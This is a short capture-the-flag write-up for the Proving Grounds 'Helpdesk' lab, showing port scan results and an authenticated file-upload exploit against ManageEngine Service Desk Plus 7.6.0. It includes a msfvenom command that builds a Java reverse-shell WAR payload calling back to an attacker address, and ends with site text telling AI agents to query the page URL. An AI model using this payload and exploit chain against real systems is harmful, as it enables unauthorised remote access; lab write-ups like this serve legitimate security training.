# Proving grounds Practice: Helpdesk

Proving grounds Practice - Helpdesk CTF writeup.

### Nmap

```sh
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows Server (R) 2008 Standard 6001 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp open  ms-wbt-server Microsoft Terminal Service
8080/tcp open  http          Apache Tomcat/Coyote JSP engine 1.1
```

### Web PORT: 8080

ManageEngine Service Desk Plus version 7.6.0

![img](/files/UtntPlbs5gJM7PeKPIiZ)

The ManageEngine Service Desk Plus version 7.6.0 is vulnerable to authenticated [Remote Code Execution](https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py) vulnerability via file upload.

### Create reverse TCP shell to upload

```sh
msfvenom -p java/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f war > shell.war
```

As specified in the code create a java reverse shell in the `.war` file format to upload.

Run netcat listener.

Run the exploit code.

![img](/files/97AW3QNGWjrX8z0OVWK9)

**Reverse Shell Obtained**

![img](/files/IjKxHYp5X6mAWPg132dT)

Thanks for reading!

For more updates and insights, follow me on Twitter: [@thevillagehacker](https://twitter.com/thevillagehackr).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://thevillagehacker-security.gitbook.io/ctf-writeups/writeups/2023-08-27-proving_grounds_practice-helpdesk.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.